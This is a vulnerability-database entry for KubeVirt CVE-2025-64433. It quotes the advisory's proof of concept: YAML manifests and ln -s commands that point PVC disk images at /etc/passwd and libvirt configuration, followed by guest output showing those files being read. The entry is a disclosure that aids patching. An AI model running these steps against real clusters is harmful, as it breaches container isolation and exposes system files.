CVE-2025-64433
MEDIUM6.5EPSS 0.09%KubeVirt Arbitrary Container File Read
描述
### Summary _Short summary of the problem. Make the impact and severity as clear as possible. Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ A vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks: ```yaml # The YAML definition of two PVCs that the attacker has access to apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-1 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-2 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- # The attacker-controlled container used to create the symlinks in the above PVCs apiVersion: v1 kind: Pod metadata: name: dual-pvc-pod spec: containers: - name: app-container image: alpine command: ["/some-vulnerable-app"] volumeMounts: - name: pvc-volume-one mountPath: /mnt/data1 - name: pvc-volume-two mountPath: /mnt/data2 volumes: - name: pvc-volume-one persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-volume-two persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 ``` By default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows: ```bash # Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration. attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img attacker@dual-pvc-pod:/mnt/data1 $ls -l lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml # With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img attacker@dual-pvc-pod:/mnt/data2 $ls -l lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd ``` Of course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM: ```yaml # arbitrary-container-read.yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: arbitrary-container-read spec: runStrategy: Always template: metadata: labels: kubevirt.io/size: small kubevirt.io/domain: arbitrary-container-read spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: pvc-1 disk: bus: virtio - name: pvc-2 disk: bus: virtio - name: cloudinitdisk disk: bus: virtio interfaces: - name: default masquerade: {} resources: requests: memory: 64M networks: - name: default pod: {} volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: pvc-1 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-2 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` The two PVCs will be mounted as volumes in "filesystem" mode: From the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system: ```bash # Deploy the VM manifest operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml virtualmachine.kubevirt.io/arbitrary-container-read created # Observe the deployment status operator@minikube:~$ kubectl get vmis NAME AGE PHASE IP NODENAME READY arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True # Initiate a console connection to the running VM operator@minikube:~$ virtctl console arbitrary-container-read ``` ```bash # Within the `arbitrary-container-read` VM, inspect the available block devices root@arbitrary-container-read:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 44M 0 disk |-vda1 253:1 0 35M 0 part / -vda15 253:15 0 8M 0 part vdb 253:16 0 20K 0 disk vdc 253:32 0 512B 0 disk vdd 253:48 0 1M 0 disk # Inspect the mounted /etc/passwd of the `virt-launcher` pod root@arbitrary-container-read:~$ cat /dev/vdc qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash # Inspect the mounted `default_migration.xml` of the `virt-launcher` pod root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20 <!-- WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE OVERWRITTEN AND LOST. Changes to this xml configuration should be made using: virsh edit default_arbitrary-container-read or other application using the libvirt API. --> <domstatus state='paused' reason='starting up' pid='80'> <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/> <vcpus> </vcpus> <qemuCaps> <flag name='hda-duplex'/> <flag name='piix3-usb-uhci'/> <flag name='piix4-usb-uhci'/> <flag name='usb-ehci'/> <flag name='ich9-usb-ehci1'/> <flag name='usb-redir'/> <flag name='usb-hub'/> <flag name='ich9-ahci'/> ``` ```bash operator@minikube:~$ kubectl get pods NAME READY STATUS RESTARTS AGE dual-pvc-pod 1/1 Running 0 20m virt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m # Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash # Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd -rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.
受影響套件(2)
- Go/kubevirt.io/kubevirtfrom 0, < 1.5.3
- Go/kubevirt.io/kubevirtfrom 0, < 1.5.3, >= 1.6.0-alpha.0, < 1.6.0-beta.0.0.20250801195231-a81b27d4600c, >= 1.6.0-rc.0, < 1.6.1
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.5 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
參考連結(6)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2025-64433
- PATCHhttps://github.com/kubevirt/kubevirt
- WEBhttps://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64
- WEBhttps://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849
- WEBhttps://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08
- WEBhttps://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq